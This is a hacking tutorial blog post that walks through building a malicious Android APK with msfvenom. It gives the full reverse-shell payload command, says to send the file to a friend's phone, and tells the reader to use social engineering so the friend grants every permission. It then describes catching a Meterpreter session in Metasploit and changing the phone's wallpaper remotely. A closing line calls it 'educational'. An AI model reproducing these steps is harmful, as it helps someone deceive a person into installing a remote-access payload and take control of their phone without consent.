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Changing phone wallpaper Remotely

This article is very cool! You can change your friends phone wallpaper remotely.I think this is the most awaited article among our subscribers.But there is a condition to do this . attacker machine that is kali linux and the phone must be in same network then only we can do this.

So without wasting time let’s start

Table of Contents :

  1. Introduction

  2. Creating the malicious apk

  3. Sending it to the targeted phone

  4. Exploiting using metasploit

  5. Help command

  6. Changing wallpaper


In this article we will use metasploit and msfvenom in our kali linux machine to hack into the phone!

But the thing is these days the security of the android phone has increased a lot so the time when you try to run the malicious file ,phone manager will block that application so with your social engineering skills we have to convince our friend to allow the application to run the application by tapping yes for every permission the phone manager ask for.

Creating the malicious apk

We will use msfvenom to create malicious apk file using the command :

msfvenom -p android/meterpreter/reverse_tcp lhost= lport=4444 -o /root/Desktop/exploit.apk

  • -p means payload to use

  • lhost is the ip address of kali linux machine

  • lport is port number

Sending it to the targeted phone

We have successfully created a malicious apk file . Now it's time to send the apk to the targeted phone . You can use multiple ways to send the apk file I have used

a cloud service and there I uploaded the apk and then downloaded it in the targeted phone.

Exploiting using metasploit

Now we will use metasploit to get a session by running the application in the targeted phone.

type in "msfconsole" in your terminal and press enter.Now to get a session we are going to use payload as shown in the below image

now after typing exploit switch to the targeted phone and install that application and run the application (Application name is main activity)and then come back to your machine and we can see we have a session now.

Help command

type help now to get the all the command that we can use to control the phone.

Try these command by yourself and see the magic!

Changing wallpaper

Now the time has come to change the wallpaper . Current wallpaper of the phone is

Now with the help of background command , background this session and type in the following commands to change the wallaper.

As we can see that wallpaper has been changed and we can check in the targeted phone

Disclaimer : This article is just for educational purpose . if you do anything wrong with anyone's phone then he/she may file a complaint against you and HacLabs is not responsible for any further circumstances.


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